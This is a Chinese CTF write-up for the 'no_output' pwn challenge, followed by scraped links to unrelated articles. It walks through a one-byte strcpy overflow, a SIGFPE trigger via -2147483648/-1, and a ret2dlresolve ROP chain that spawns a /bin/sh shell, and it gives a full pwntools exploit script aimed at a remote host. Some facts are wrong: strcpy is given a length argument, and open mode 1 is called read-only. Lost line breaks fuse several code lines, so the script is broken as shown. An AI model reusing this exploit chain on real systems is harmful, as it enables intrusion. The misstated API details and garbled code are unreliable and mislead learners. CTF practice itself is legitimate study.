PWN题[强网先锋]no_output

知识点

strcpy(dest, src)
strcpy 函数用于将指定长度的字符串复制到字符数组里
语法形式为:char *strcpy(char *dest, const char *src, int n),
表示把src所指向的字符串里以src地址开始的前n个字节复制到dest所指的数组里,并返回被复制后的dest。
strcpy:strcpy只用于字符串复制,并且它不仅复制字符串内容之外,还会复制字符串的结束符
例:strcpy(a,b) b为源字符串,a为复制b的字符串

read(unk_804C080, src, 0x10u):
unk_804C080的值被赋值为real_flag.txt里的内容
因为
result = open(“real_flag.txt”, 1);
unk_804C080 = result;

类型sighandler_t,表示指向返回值为void型(参数为int型)的函数(的)指针。它用来声明一个或多个函数指针。
sighandler_t sig1, sig2; 这个声明等价于下面的写法:
void (*sig1)(int), (*sig2)(int);

if ( v1 )
{
signal(8, (__sighandler_t)sub_8049236);
v2[1] = v2[0] / (int)v1;
result = signal(8, 0);
}

C语言里的信号signal():
信号是程序执行过程里出现的异常情况。它可能是由程序里的错误造成的,例如引用内存里的一个非法地址;或者是由程序数据里的错误造成的,例如浮点数被0除;或者是由外部事件引发的,例如用户按了Ctrl+Break键。
signal()的原型为:
#include <signal.h>
void(*signal(int hum,void(*func)(int)))(int);
这恐怕是你在C标准函数库里能见到的最复杂的说明了。如果你先定义一个typedef,理解起来就容易一些了。下面给出的sigHandler_t类型是指向一个程序的指针,该函数有一个int类型的参数,并且返回一个void类型:
typedef void(*sigHandler_t)(int);
sigHandler_t signal(int num , sigHandler_t func);

解题流程

首先先查看保护机制
在终端输入checksec ./test
在这里插入图片描述
IDA32位打开:
伪码:
main:
在这里插入图片描述
点击sub_8049424():
在这里插入图片描述
0x30=48
0x20=32
0x10=16

下面查看main的子程序:

(1)
在这里插入图片描述
result = open(“real_flag.txt”, 1); 对real_flag.txt文件只读
result被赋值为从real_flag.txt文件的内容

(2)
sub_80493EC(src);
点开sub_80493EC():
在这里插入图片描述
(3)
sub_8049385(src, off_804C034)
src为由read(unk_804C080, src, 0x10u)获取到的flag内容
因为read(unk_804C080, src, 0x10u)将unk_804C080值读取0x10字节到src里
点开sub_8049385()
在这里插入图片描述
(3)
if ( !result )
result = sub_8049269();
点开sub_8049269()
在这里插入图片描述

漏洞分析

在这里插入图片描述
在这里,标准输入会跟打开的文件里面的字符串进行比较,比较成功才会进入下一步
在这里插入图片描述
在这里插入图片描述
但是我们发现上面用了一个strcpy函数,strcpy存在单字节的溢出,这个函数会用’\x00’结尾,我们可以在上面让dest的后面一个字节为’\x00’,以覆盖fd,改为0后可以直接从stdin读入内容,从而通过strcmp的检测。
在这里插入图片描述
绕开比较进入函数之后是一个signal,必须触发这个signal 8号信号才能进入最后的函数。

signal8是浮点例外。在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误。

解决方案

不能除0,就构造溢出。

需要触发算数异常SIGFPE,可以通过-0x80000000/-1触发,触发后可以直接执行一个栈溢出;由于程序里没有输出函数,无法leak函数,所以使用ret2dlresolve方法直接getshell
在这里插入图片描述
exp

from pwn import *
from roputils import *
import timerop = ROP('./test')
#p = process('./test')
p = remote("39.105.138.97",1234)
context.log_level='debug'p.send(p32(0))
sleep(1)
p.send("a"*32)
sleep(1)
p.send('hello_boy')
sleep(1)
p.send(str(int(-2147483648)))
sleep(1)
p.send(str(int(-1)))
sleep(1)offset = 77
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
p.send(buf)buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
p.send(buf)p.interactive()

flag值为:qwb{n0_1nput_1s_great!!!}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/525116.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

上传自己的项目到github

思路&#xff1a;用秘钥将自己项目和github建立连接&#xff0c;实现上传 实现&#xff1a; 1.准备工具&#xff0c;下git&#xff0c;配置环境变量&#xff0c; 桌面右击出现 就ok&#xff0c;然后 cmd 输入git --version 说明安装和配置成功 2.qq邮箱和qq密码注册github&…

漫画:如何实现大整数相乘?(上)

戳蓝字“CSDN云计算”关注我们哦&#xff01;前一段时间&#xff0c;小灰发布了一篇有关大整数相加的漫画&#xff0c;没看过的小伙伴可以先看一看&#xff1a;漫画&#xff1a;如何实现大整数相加&#xff1f;那么&#xff0c;大整数相乘又是如何实现的呢&#xff1f;起初&…

ret2dlresolve归纳

ret2dl_resolve的原理&#xff1a; 动态链接相关函数_dl_runtime_resolve(link_map_obj, reloc_index) 功能&#xff1a;在第一次调用某函数时运行&#xff0c;绑定其地址到对应的GOT表项 第一个参数link_map_obj一直为GOT[1]的地址 第二个参数reloc_index为被绑定函数在.rel.…

C语言条件判断 if / else - C语言零基础入门教程

目录 一.C 语言条件判断 if 1.if 语法2.if 实战 二.C 语言条件判断 if / else 1.if / else 语法2.if / else 实战 三.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 何谓 C 语言条件判断&#xff0c;其实很简单&#xff0c;即**根据条件&#xff…

到底什么是CDN?

戳蓝字“CSDN云计算”关注我们哦&#xff01;如今这个移动互联网时代&#xff0c;越来越多的人使用手机观看视频&#xff0c;丰富自己的娱乐生活。可是&#xff0c;大家在追剧的时候&#xff0c;有没有想过一个问题——为什么有时候明明自己手机的网速很快&#xff0c;但观看视…

BugkuCTF-MISC题MuMuMisc的简单题

查看提示 先看png图片 发现最左侧有些信息 看了大佬们的wp&#xff0c;需要写脚本把左侧这块读出来&#xff0c;黑色对应1&#xff0c;白色对应0&#xff0c;再转成字符 得到的结果base64解码&#xff0c;得到&#xff1a; 回过头看private.key&#xff0c;它其实是个jpg图…

“车联网”最强科普!据说它是未来五年5G兴衰的晴雨表?

戳蓝字“CSDN云计算”关注我们哦&#xff01;说到车联网&#xff0c;相信大家一定不会陌生。现在不管是汽车制造商、销售商&#xff0c;还是阿里腾讯这样的互联网企业&#xff0c;都会经常提到它。简单来说&#xff0c;车联网就是把汽车连起来&#xff0c;组成网络。不过&#…

BugkuCTF-MISC题random color

010打开file&#xff0c;发现文件尾有另一个png图片的数据&#xff0c;提取出来&#xff0c;放到Stegsolve里两张图对比一下&#xff0c;得到一个二维码

C语言逻辑运算符 - C语言零基础入门教程

目录 一.逻辑运算符 1.与运算 &&2.或运算 ||3.非运算 ! 二.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 一.逻辑运算符 在C 语言 if / else 条件判断中&#xff0c;一个 if 语句的条件判断可以由多个表达式构成,举个例子&#xff1a; …

程序员的晒娃方式

戳蓝字“CSDN云计算”关注我们哦&#xff01;&#xff08;图自&#xff1a;可乐柠檬的日常&#xff09;微博网友评论&#xff1a;挨踢南&#xff1a;性别那叫gender不是sexWTF王启旻ITF&#xff1a;babySay(Hello World!!!);lovelydong&#xff1a;c语言结构体么忘了渔阳2020&a…

BugkuCTF-MISC题split

Kali打开图片&#xff0c;显示 Binwalk和foremost分离不出有效文件 通过TwakPNG打开 显示文件第33个字节有问题&#xff0c;这可能暗示文件末尾的分水岭 Tweakpng打开说第33个字节开始报错&#xff0c;010打开发现从34字节开始的文本描述是(38 39 61)89a&#xff0c;第一反…

C语言三目运算符 - C语言零基础入门教程

目录 一.C 语言三目运算符简介二.C 语言三目运算符实战 1.使用三目运算符2.使用 if / else 条件判断 三.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 一.C 语言三目运算符简介 三目运算符&#xff0c;又称条件运算符&#xff0c;是计算机语言&…

BugkuCTF-MISC题telnet

wireshark打开networking.pcap 点击右键->TCP stream&#xff0c;弹出flag

10 张令人喷饭的程序员漫画

戳蓝字“CSDN云计算”关注我们哦&#xff01;0、修电脑的专家是如何炼成的1、维护遗留代码的感觉2、努力把自己升级吧3、这代码谁写的&#xff1f;4、程序员逛酒吧5、程序员的生活写照6、我再也不在课堂上扔纸飞机了一个小朋友在课堂上玩纸飞机&#xff0c;被老师发现后罚写 50…

BugkuCTF-MISC题where is flag

下载附件 解压得到10个txt文件 010打开发现里面全是00截断符号 这时候唯一的线索就是字节大小&#xff0c;用py脚本把各个文件的字节长度跑出来 for n in range(1,11):name str(n).txtwith open(name) as f:print(len(f.read()),end"")跑出来的字节长度应该是十进…

大型私有云运维实践

戳蓝字“CSDN云计算”关注我们哦&#xff01;大家下午好&#xff01;我要分享的题目是国家级私有云的实践。分享的内容有三部分&#xff1a;第一部分为什么要建设云&#xff1f;云建设的目标是什么&#xff1f;第二部分介绍一些云技术发展的趋势&#xff0c;有些技术也好几年了…

C语言自加自减运算符(++i / i++) - C语言零基础入门教程

目录 一.C 语言自加 / 自减 – 运算符简介 1.前 后 的区别2.前–后-- 的区别 二.C 语言自加/自减–运算符实战三.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 除了前面文章讲解的逻辑运算符 / 三目运算符 / 逗号表达式&#xff0c;C 语言中自…

BugkuCTF-MISC题where is flag2

开始想着是crc32碰撞&#xff0c;拿到文本里的内容&#xff0c;后面发现txt里的内容都是无意义的 这些txt的文件名很容易让人联想到十六进制&#xff0c;内容无意义应该是为了凑crc32值 把这些txt的crc32值连在一起&#xff0c;转字符得到flag&#xff1a; bugku{You_can’t_…

漫画:为什么互联网人收入高,却这么低调

戳蓝字“CSDN云计算”关注我们哦&#xff01;我们第一IT圈一直流传着各种传说。比如哪个公司应届毕业生收入逼近中产&#xff0c;某某游戏团队年终奖分了多少&#xff0c;某某公司上市又造就了多少位千万富豪。虽然从来没有哪个人真正站出来验证这些传说&#xff0c;但各种人才…

(作者:无名`)svn提交代码到本地仓库

1.创建空文件夹demo1&#xff0c;然后按下图 2.然后 3.demo1中创空文件夹test 4.打开自己的项目&#xff0c;按下图 5.复制刚才第二步路径&#xff0c;加上test&#xff0c;路径变为 file:\\\C:\demo1\test 放入上图url中 打完收工&#xff01;